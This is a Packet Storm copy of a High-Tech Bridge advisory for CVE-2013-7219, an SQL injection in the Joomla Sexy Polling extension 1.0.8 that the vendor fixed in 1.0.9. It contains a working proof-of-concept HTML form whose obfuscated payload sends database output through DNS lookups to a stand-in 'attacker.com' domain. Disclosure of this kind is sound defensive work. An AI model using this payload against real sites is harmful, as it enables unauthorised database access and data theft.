exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Joomla Sexy Polling 1.0.8 SQL Injection

Joomla Sexy Polling 1.0.8 SQL Injection
Posted Jan 16, 2014
Authored by High-Tech Bridge SA | Site htbridge.com

Joomla Sexy Polling extension version 1.0.8 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2013-7219
SHA-256 | 386f633addc7fcd69c71714e10ca43a9577c114d2f48bae9ca88cbf0936b85a3

Joomla Sexy Polling 1.0.8 SQL Injection

Change Mirror Download
Advisory ID: HTB23193
Product: Sexy Polling Joomla Extension
Vendor: 2GLux
Vulnerable Version(s): 1.0.8 and probably prior
Tested Version: 1.0.8
Advisory Publication: December 26, 2013 [without technical details]
Vendor Notification: December 26, 2013
Vendor Patch: January 8, 2014
Public Disclosure: January 16, 2014
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2013-7219
Risk Level: High
CVSSv2 Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in Sexy Polling Joomla Extension, which can be exploited to perform SQL Injection attacks.


1) SQL Injection in Sexy Polling Joomla Extension: CVE-2013-7219

The vulnerability exists due to insufficient validation of "answer_id[]" HTTP POST parameter passed to "/components/com_sexypolling/vote.php" script. A remote unauthenticated attacker can execute arbitrary SQL commands in application's database.

The following exploitation example is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP addess for `version()` (or any other sensetive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):


<form action="http://[host]/components/com_sexypolling/vote.php"
method="post" name="main">
<input type="hidden" name="answer_id[]" value="',(select load_file(CONCAT(CHAR(92),CHAR(92),(select
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))),'','','','','')
-- ">
<input type="submit" id="btn">
</form>


-----------------------------------------------------------------------------------------------

Solution:

Update to Sexy Polling 1.0.9

More Information:
http://2glux.com/forum/sexypolling/sexy-polling-security-vulnerability-notification-t2026.html

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23193 - https://www.htbridge.com/advisory/HTB23193 - SQL Injection in Sexy Polling Joomla Extension.
[2] Sexy Polling Joomla Extension - http://2glux.com/projects/sexypolling - Polling for Joomla.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
Login or Register to add favorites

File Archive:

December 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    2 Files
  • 2
    Dec 2nd
    12 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    14 Files
  • 6
    Dec 6th
    18 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close